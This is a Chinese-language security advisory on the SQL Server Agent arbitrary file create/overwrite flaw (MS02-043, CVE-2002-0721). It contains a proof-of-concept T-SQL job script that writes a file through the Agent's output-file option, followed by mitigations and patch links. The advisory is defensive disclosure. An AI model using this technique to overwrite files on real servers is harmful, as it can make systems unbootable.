首页 -> 安全研究
安全研究
安全漏洞
Microsoft SQL Server Agent作业远程任意文件建立/覆盖漏洞(MS02-043)
发布日期:2002-08-19
更新日期:2002-08-21
受影响系统:
Microsoft SQL Server 2000描述:
- Microsoft Windows NT 4.0
- Microsoft Windows 2000 SP3
Microsoft SQL Server 7.0
- Microsoft Windows NT 4.0
- Microsoft Windows 2000 SP3
Microsoft SQL Server Desktop Engine (MSDE) 1.0
- Microsoft Windows NT 4.0
- Microsoft Windows 2000 SP3
Microsoft SQL Server Desktop Engine 2000
- Microsoft Windows NT 4.0
- Microsoft Windows 2000 SP3
CVE(CAN) ID: CVE-2002-0721
Microsoft SQL Server是微软公司开发的一套商业数据库系统,应用在Microsoft Windows系统下。SQL Server 7.0和2000带了一个助手服务 - SQL Server Agent。这个代理程序用来在数据库意外停止之后重启之,另外,它也负责处理提交的作业。
Microsoft SQL Server Agent在增加作业的时候指定输出文件名时对文件是否存在缺少正确检查,远程攻击者可以利用这个漏洞在系统中覆盖或者建立任意文件。
Microsoft SQL Server Agent作业可以提交一些作业让Agent执行,当增加一个作业的时候可以指定Transact-SQL或者CmdExec作业的输出文件名,但是输出结果建立文件时没有对文件名是否存在缺少检查,如果文件已经存在就会覆盖,而文件不存在的情况下,就直接建立文件。通过构建恶意作业查询可以把任意内容存储在文件中。
结合"Microsoft SQL Server Agent作业提交漏洞"( http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=3314 ),而Microsoft SQL Server Agent有在LocalSystem帐户权限下运行的话,可以使非特权用户覆盖系统的重要文件,导致系统下次不能启动。
<*来源:NGSSoftware Insight Security Research (nisr@nextgenss.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=102976944130078&w=2
http://www.microsoft.com/technet/security/bulletin/MS02-043.asp
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 19th August 2002
USE msdb
EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'
EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'ArbitraryFileCreate'
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 数据库管理员应该禁止对MSDB数据库中的下列存储过程的公开(public)访问权限:
sp_add_job
sp_add_jobstep
sp_add_jobserver
sp_start_job
* 确定SQL Server Agent以低权限帐户运行。
厂商补丁:
Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS02-043)以及相应补丁:
MS02-043:Cumulative Patch for SQL Server (Q316333)
链接:http://www.microsoft.com/technet/security/bulletin/MS02-043.asp
补丁下载:
* Microsoft SQL Server 7.0
http://www.microsoft.com/Release.asp?ReleaseID=Q327068
* Microsoft SQL Server 2000
http://www.microsoft.com/Release.asp?ReleaseID=Q316333
浏览次数:3279
严重程度:0(网友投票)
绿盟科技给您安全的保障